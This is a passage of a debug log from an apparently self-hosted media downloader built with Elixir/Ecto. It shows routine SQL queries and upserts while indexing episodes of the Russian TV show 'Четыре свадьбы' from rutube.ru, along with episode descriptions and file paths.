s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:04.134 [debug] QUERY OK source="media_items" db=1.0ms idle=7.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-11-15 12:40:15Z], 1] 14:36:04.167 [debug] QUERY OK source="media_items" db=32.2ms idle=6.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Четыре невесты оценят свадьбы друг друга. Мероприятие Юлии из Калининграда пройдёт в стиле стендап-вечеринки. Анастасия пригласит конкуренток в Саратов на свою классическую свадьбу. Фишкой мероприятия Натальи из Рязани станет украшение торта. А у Александры из Санкт-Петербурга состоится свадьба в стиле «детский сад». Смотрите программу «Четыре свадьбы»!", "Четыре свадьбы: Свадьба в стиле стендап-вечеринки VS Классическая свадьба", "817e0ced-2e56-4ddb-b3ae-fd090283402f", "11919af5add971f1e3ebca4d3542bd94", 6644, false, "https://rutube.ru/video/11919af5add971f1e3ebca4d3542bd94/", 84, "/downloads/rutubeShows/4 Свадьбы/Season 2024/s2024e111500 - Четыре свадьбы: Свадьба в стиле стендап-вечеринки VS Классическая свадьба.mp4", false, false, false, 1, [], 1, ~U[2024-11-15 12:40:15Z], ~U[2025-12-09 11:36:04Z], ~U[2025-12-09 11:36:04Z], "Четыре невесты оценят свадьбы друг друга. Мероприятие Юлии из Калининграда пройдёт в стиле стендап-вечеринки. Анастасия пригласит конкуренток в Саратов на свою классическую свадьбу. Фишкой мероприятия Натальи из Рязани станет украшение торта. А у Александры из Санкт-Петербурга состоится свадьба в стиле «детский сад». Смотрите программу «Четыре свадьбы»!", "Четыре свадьбы: Свадьба в стиле стендап-вечеринки VS Классическая свадьба", "11919af5add971f1e3ebca4d3542bd94", 6644, false, "https://rutube.ru/video/11919af5add971f1e3ebca4d3542bd94/", "/downloads/rutubeShows/4 Свадьбы/Season 2024/s2024e111500 - Четыре свадьбы: Свадьба в стиле стендап-вечеринки VS Классическая свадьба.mp4", false, 1, ~U[2024-11-15 12:40:15Z]] 14:36:04.170 [debug] QUERY OK source="sources" db=2.5ms idle=37.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:04.171 [debug] QUERY OK source="media_profiles" db=0.5ms idle=38.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 14:36:04.172 [debug] QUERY OK source="media_items" db=0.5ms idle=38.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [80] 14:36:04.172 [debug] Current batch of media processed. Will check again in 1000ms 14:36:05.175 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "В этом выпуске невесты побывают в Кушве, Москве, Омске и Сургуте. В Кушве пройдёт классическая свадьба Татьяны, в Москве – свадьба в европейском стиле Виктории, в Омске – молодёжная свадьба Татьяны, а в Сургуте – свадьба в стиле «русский патриотизм» Анастасии. Какие развлечения подготовили девушки для гостей, покажет программа «Четыре свадьбы».", "duration" => 6383, "filename" => "/downloads/rutubeShows/4 Свадьбы/Season 2024/s2024e112200 - Четыре свадьбы: Свадьба в стиле патриотизма VS Молодежная свадьба.mp4", "id" => "b658f89cb945578b09195202a8d34352", "original_url" => "https://rutube.ru/video/b658f89cb945578b09195202a8d34352/", "playlist_index" => 85, "timestamp" => 1732281616, "title" => "Четыре свадьбы: Свадьба в стиле патриотизма VS Молодежная свадьба", "upload_date" => "20241122"} 14:36:05.177 [debug] QUERY OK source="sources" db=0.8ms idle=1009.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 14:36:05.180 [debug] QUERY OK source="sources" db=2.8ms queue=0.1ms idle=1007.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:05.182 [debug] QUERY OK source="media_items" db=1.0ms queue=0.1ms idle=1009.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-11-22 13:20:16Z], 1] 14:36:05.207 [debug] QUERY OK source="media_items" db=24.3ms idle=1010.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["В этом выпуске невесты побывают в Кушве, Москве, Омске и Сургуте. В Кушве пройдёт классическая свадьба Татьяны, в Москве – свадьба в европейском стиле Виктории, в Омске – молодёжная свадьба Татьяны, а в Сургуте – свадьба в стиле «русский патриотизм» Анастасии. Какие развлечения подготовили девушки для гостей, покажет программа «Четыре свадьбы».", "Четыре свадьбы: Свадьба в стиле патриотизма VS Молодежная свадьба", "7ad2fadd-f5de-4ee1-940c-25830beb033d", "b658f89cb945578b09195202a8d34352", 6383, false, "https://rutube.ru/video/b658f89cb945578b09195202a8d34352/", 85, "/downloads/rutubeShows/4 Свадьбы/Season 2024/s2024e112200 - Четыре свадьбы: Свадьба в стиле патриотизма VS Молодежная свадьба.mp4", false, false, false, 1, [], 1, ~U[2024-11-22 13:20:16Z], ~U[2025-12-09 11:36:05Z], ~U[2025-12-09 11:36:05Z], "В этом выпуске невесты побывают в Кушве, Москве, Омске и Сургуте. В Кушве пройдёт классическая свадьба Татьяны, в Москве – свадьба в европейском стиле Виктории, в Омске – молодёжная свадьба Татьяны, а в Сургуте – свадьба в стиле «русский патриотизм» Анастасии. Какие развлечения подготовили девушки для гостей, покажет программа «Четыре свадьбы».", "Четыре свадьбы: Свадьба в стиле патриотизма VS Молодежная свадьба", "b658f89cb945578b09195202a8d34352", 6383, false, "https://rutube.ru/video/b658f89cb945578b09195202a8d34352/", "/downloads/rutubeShows/4 Свадьбы/Season 2024/s2024e112200 - Четыре свадьбы: Свадьба в стиле патриотизма VS Молодежная свадьба.mp4", false, 1, ~U[2024-11-22 13:20:16Z]] 14:36:05.218 [debug] QUERY OK source="sources" db=10.2ms queue=0.1ms idle=904.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:05.219 [debug] QUERY OK source="media_profiles" db=0.2ms queue=0.1ms idle=41.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 14:36:05.220 [debug] QUERY OK source="media_items" db=0.4ms idle=39.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [81] 14:36:05.220 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Четыре невесты станут гостями на мероприятиях друг друга. Жанна из Самары пообещала удивить соперниц свадебным тортом с уникальной начинкой. Фишкой свадьбы Елены из Санкт-Петербурга станет проведение торжества на крыше. У Дианы из Ижевска пройдёт свадьба в стиле «ПП и ЗОЖ». А Юлия из Воронежа пригласит участниц на свою свадьбу-вечеринку. Кто из невест победит, узнаем из программы «Четыре свадьбы».", "duration" => 6731, "filename" => "/downloads/rutubeShows/4 Свадьбы/Season 2024/s2024e113000 - Четыре свадьбы: Свадьба в стиле ЗОЖ VS Свадьба в стиле инь-ян.mp4", "id" => "30f956c08fba7a28e80d5ddaf2fb827e", "original_url" => "https://rutube.ru/video/30f956c08fba7a28e80d5ddaf2fb827e/", "playlist_index" => 86, "timestamp" => 1732949412, "title" => "Четыре свадьбы: Свадьба в стиле ЗОЖ VS Свадьба в стиле инь-ян", "upload_date" => "20241130"} 14:36:05.222 [debug] QUERY OK source="sources" db=0.9ms queue=0.4ms idle=38.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 14:36:05.223 [debug] QUERY OK source="sources" db=1.1ms idle=15.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:05.225 [debug] QUERY OK source="media_items" db=1.2ms idle=5.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-11-30 06:50:12Z], 1] 14:36:05.242 [debug] QUERY OK source="media_items" db=16.1ms idle=6.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Четыре невесты станут гостями на мероприятиях друг друга. Жанна из Самары пообещала удивить соперниц свадебным тортом с уникальной начинкой. Фишкой свадьбы Елены из Санкт-Петербурга станет проведение торжества на крыше. У Дианы из Ижевска пройдёт свадьба в стиле «ПП и ЗОЖ». А Юлия из Воронежа пригласит участниц на свою свадьбу-вечеринку. Кто из невест победит, узнаем из программы «Четыре свадьбы».", "Четыре свадьбы: Свадьба в стиле ЗОЖ VS Свадьба в стиле инь-ян", "a832155f-fed0-4678-8e05-5b244924ee4f", "30f956c08fba7a28e80d5ddaf2fb827e", 6731, false, "https://rutube.ru/video/30f956c08fba7a28e80d5ddaf2fb827e/", 86, "/downloads/rutubeShows/4 Свадьбы/Season 2024/s2024e113000 - Четыре свадьбы: Свадьба в стиле ЗОЖ VS Свадьба в стиле инь-ян.mp4", false, false, false, 1, [], 1, ~U[2024-11-30 06:50:12Z], ~U[2025-12-09 11:36:05Z], ~U[2025-12-09 11:36:05Z], "Четыре невесты станут гостями на мероприятиях друг друга. Жанна из Самары пообещала удивить соперниц свадебным тортом с уникальной начинкой. Фишкой свадьбы Елены из Санкт-Петербурга станет проведение торжества на крыше. У Дианы из Ижевска пройдёт свадьба в стиле «ПП и ЗОЖ». А Юлия из Воронежа пригласит участниц на свою свадьбу-вечеринку. Кто из невест победит, узнаем из программы «Четыре свадьбы».", "Четыре свадьбы: Свадьба в стиле ЗОЖ VS Свадьба в стиле инь-ян", "30f956c08fba7a28e80d5ddaf2fb827e", 6731, false, "https://rutube.ru/video/30f956c08fba7a28e80d5ddaf2fb827e/", "/downloads/rutubeShows/4 Свадьбы/Season 2024/s2024e113000 - Четыре свадьбы: Свадьба в стиле ЗОЖ VS Свадьба в стиле инь-ян.mp4", false, 1, ~U[2024-11-30 06:50:12Z]] 14:36:05.245 [debug] QUERY OK source="sources" db=3.0ms idle=22.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:05.246 [debug] QUERY OK source="media_profiles" db=0.6ms queue=0.2ms idle=23.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 14:36:05.247 [debug] QUERY OK source="media_items" db=0.6ms idle=23.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [82] 14:36:05.248 [debug] Current batch of media processed. Will check again in 1000ms 14:36:06.250 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Свадебный марафон начинается! Виктория из Воронежа будет рада видеть гостей на своей свадьбе в морском стиле. У Дианы из Казани состоится свадьба в стиле рустик. Фишкой мероприятия Юлии из Мичуринска станет оформление с эвкалиптом. А Евгения из Балаково будет удивлять необычной свадебной церемонией. Какие сюрпризы подготовили девушки, покажет программа «Четыре свадьбы».", "duration" => 6777, "filename" => "/downloads/rutubeShows/4 Свадьбы/Season 2024/s2024e121300 - Четыре свадьбы: Морская свадьба VS Свадьба в стиле вечеринки.mp4", "id" => "8ff310aab3fe673437f8b7b323fd2cdb", "original_url" => "https://rutube.ru/video/8ff310aab3fe673437f8b7b323fd2cdb/", "playlist_index" => 87, "timestamp" => 1734102014, "title" => "Четыре свадьбы: Морская свадьба VS Свадьба в стиле вечеринки", "upload_date" => "20241213"} 14:36:06.255 [debug] QUERY OK source="sources" db=3.5ms idle=1009.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 14:36:06.258 [debug] QUERY OK source="sources" db=0.9ms queue=0.2ms idle=1011.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:06.260 [debug] QUERY OK source="media_items" db=1.1ms queue=0.1ms idle=1011.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-12-13 15:00:14Z], 1] 14:36:06.282 [debug] QUERY OK source="media_items" db=21.0ms idle=1012.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Свадебный марафон начинается! Виктория из Воронежа будет рада видеть гостей на своей свадьбе в морском стиле. У Дианы из Казани состоится свадьба в стиле рустик. Фишкой мероприятия Юлии из Мичуринска станет оформление с эвкалиптом. А Евгения из Балаково будет удивлять необычной свадебной церемонией. Какие сюрпризы подготовили девушки, покажет программа «Четыре свадьбы».", "Четыре свадьбы: Морская свадьба VS Свадьба в стиле вечеринки", "67484303-54f6-4ea2-8f2a-f9b9e3421187", "8ff310aab3fe673437f8b7b323fd2cdb", 6777, false, "https://rutube.ru/video/8ff310aab3fe673437f8b7b323fd2cdb/", 87, "/downloads/rutubeShows/4 Свадьбы/Season 2024/s2024e121300 - Четыре свадьбы: Морская свадьба VS Свадьба в стиле вечеринки.mp4", false, false, false, 1, [], 1, ~U[2024-12-13 15:00:14Z], ~U[2025-12-09 11:36:06Z], ~U[2025-12-09 11:36:06Z], "Свадебный марафон начинается! Виктория из Воронежа будет рада видеть гостей на своей свадьбе в морском стиле. У Дианы из Казани состоится свадьба в стиле рустик. Фишкой мероприятия Юлии из Мичуринска станет оформление с эвкалиптом. А Евгения из Балаково будет удивлять необычной свадебной церемонией. Какие сюрпризы подготовили девушки, покажет программа «Четыре свадьбы».", "Четыре свадьбы: Морская свадьба VS Свадьба в стиле вечеринки", "8ff310aab3fe673437f8b7b323fd2cdb", 6777, false, "https://rutube.ru/video/8ff310aab3fe673437f8b7b323fd2cdb/", "/downloads/rutubeShows/4 Свадьбы/Season 2024/s2024e121300 - Четыре свадьбы: Морская свадьба VS Свадьба в стиле вечеринки.mp4", false, 1, ~U[2024-12-13 15:00:14Z]] 14:36:06.285 [debug] QUERY OK source="sources" db=1.9ms queue=0.4ms idle=977.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:06.286 [debug] QUERY OK source="media_profiles" db=0.9ms queue=0.2ms idle=30.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 14:36:06.288 [debug] QUERY OK source="media_items" db=0.3ms queue=0.1ms idle=29.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [83] 14:36:06.288 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "В новогоднем выпуске оценивать свадьбы друг друга будут женихи. Алексей пригласит участников в Самару на свою классическую свадьбу. Дмитрий из Москвы попробует удивить соперников банкетом от шеф-повара. Павел из Москвы устроит свадьбу в стиле «Игры престолов». А у Дениса из Москвы будет свадьба в эстетике девяностых. Кто победит в этом праздничном марафоне, покажет программа «Четыре свадьбы».", "duration" => 8904, "filename" => "/downloads/rutubeShows/4 Свадьбы/Season 2025/s2025e010700 - Четыре свадьбы: Женихи.mp4", "id" => "21aef33608a5324aa76de8292ba5474e", "original_url" => "https://rutube.ru/video/21aef33608a5324aa76de8292ba5474e/", "playlist_index" => 88, "timestamp" => 1736263218, "title" => "Четыре свадьбы: Женихи", "upload_date" => "20250107"} 14:36:06.289 [debug] QUERY OK source="sources" db=0.7ms idle=28.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", 